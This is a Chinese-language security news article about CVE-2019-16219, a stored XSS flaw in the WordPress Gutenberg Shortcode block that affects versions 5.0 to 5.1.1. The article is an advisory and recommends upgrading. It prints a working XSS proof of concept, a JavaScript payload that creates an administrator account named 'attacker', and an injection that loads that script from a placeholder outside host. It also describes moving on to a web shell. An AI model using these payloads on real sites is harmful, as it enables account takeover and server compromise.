CVE-2019-16219: WordPress (Core)存储型XSS漏洞 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

ang010ela 漏洞 2019-10-08 10:02:10
237932
收藏

导语:研究人员发现WordPress (Core)中的存储型XSS漏洞,影响WordPress 5.0到5.0.4,5.1和5.1.1版本。

漏洞概述

WordPress是最主流的内容管理系统(CMS),占全球CMS市场份额的60.4%,远高于第二的Joomla!(5.2%)。因此,有超过1/3的网站使用WordPress。FortiGuard研究人员近期发现一个WordPress中的存储型XSS 0day漏洞。该0day漏洞是由于WordPress 5.0中新内置的Gutenberg引发的XSS漏洞。该编辑器没有超过过滤Shortcode错误消息中的JavaScript/HTML代码。因此,有Contributor或更高权限的远程攻击者就可以在访问被黑页面的受害者浏览器中执行任意JS/HTML代码。如果受害者有更高权限,比如administrator权限,攻击者甚至可以入侵整个web服务器。

该XSS漏洞CVE编号为 CVE-2019-16219,影响WordPress 5.0到5.0.4,5.1和5.1.1版本。

漏洞分析

在WordPress 5.0中,用户可以在文章中添加Shortcode块。在添加特定HTML编码的字符到Shortcode块,然后重新打开文章时,就显示错误信息,以&lt;字符为例,预览时会解码&lt;为<。

Figure 1. Inserting HTML encoded characters into a Shortcode block

图1. 插入HTML编码的字符串到ShortCode块

Figure 2. A Shortcode error message with preview

图2. 预览时的Shortcode错误消息

预览时的XSS过滤器可以很容易地过滤,比如POC"&gt;&lt;img src=1 onerror=prompt(1)&gt;:

Figure 3. Inserting PoC code into the Shortcode block

图3. 插入PoC代码到Shortcode块

受害者查看文章时,XSS代码就会在浏览器中执行。

Figure 4. WordPress Shortcode Preview XSS

图4. WordPress Shortcode Preview XSS

如果受害者有admin权限,攻击者就可以利用该漏洞来获取管理员账号的完全,使用WordPress内置功能来GetShell。然后控制服务器。

比如,攻击者可以在web服务器上保持JS文件,如wpaddadmin[.]jshttps://g0blin.co.uk/xss-and-wordpress-the-aftermath/ 。JS代码会用用户名attacker和密码attacker添加一个WordPress管理员账号。

// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' valuevar ajaxRequest = new XMLHttpRequest();var requestURL = "/wordpress/wp-admin/user-new.php";var nonceRegex = /ser" value="([^"]*?)"/g;ajaxRequest.open("GET", requestURL, false);ajaxRequest.send();var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);var nonce = nonceMatch[1];// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administratorvar params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";ajaxRequest = new XMLHttpRequest();ajaxRequest.open("POST", requestURL, true);ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajaxRequest.send(params);

然后攻击者就可以用下面的POC来插入JS:

“"&gt;&lt;img src=1 onerror="javascript&colon;(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();"&gt;”

Figure 5. Inserting XSS code to add an administrator account

图5. 插入XSS代码来添加管理员帐户

高权限的受害者查看该post时,就会创建管理员帐户attacker。

Figure 6. XSS code is executed

图6. 执行XSS代码

Figure 7. The “attacker” account with administrator permission created by the XSS code

图7. XSS代码创建的具有管理员权限的attacker帐户

然后攻击者就可以修改现有的php文件到webshell,然后用webshell来控制web服务器。

Figure 8. Adding a web shell with the attacker’s account

图8. 添加web shell到attacker帐户

Figure 9. Taking control of the webserver

图9. 控制web服务器

目前WordPress已经发布了补丁,研究人员建议用户升级到最新的WordPress版本。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务